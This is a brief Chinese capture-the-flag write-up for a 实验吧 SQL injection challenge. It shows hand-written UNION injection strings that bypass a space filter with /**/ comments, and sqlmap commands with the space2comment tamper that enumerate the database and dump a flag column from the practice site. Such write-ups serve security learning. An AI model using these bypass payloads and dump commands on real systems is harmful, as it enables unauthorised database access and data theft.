本系列文集:实验吧-Write up --将持续更新 觉得还不错请给个喜欢,感谢!
SQL注入详细讲解:
DVWA-SQL Injection(SQL注入)
SQL手工注入语句
sqlmap用于sql注入语法
方法一手动注入
简单的注入测试:
1 正常
1' 报错
1' or '1'='1 SQLi detected!
1'or'1'='1 全部数据
以上说明空格被过滤掉
1.查询数据库中的表(用/**/绕过空格)
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
发现flag表
2.查询flag表中字段名
1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag
发现flag字段名
3.最后构造出poc
1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
方法二sqlmap注入
点击了解sqlmap详细用法:sqlmap用于sql注入语法
1.查询当前数据库(空格被过滤可以使用tamper脚本中space2comment)
python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dbs
发现web1数据库
2.查询数据库中的表
python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --tables -D web1
发现flag表
3.查询flag表中字段名
python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --columns -T flag -D web1
发现flag字段
4.查询字段flag信息
python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dump -C flag -T flag -D web1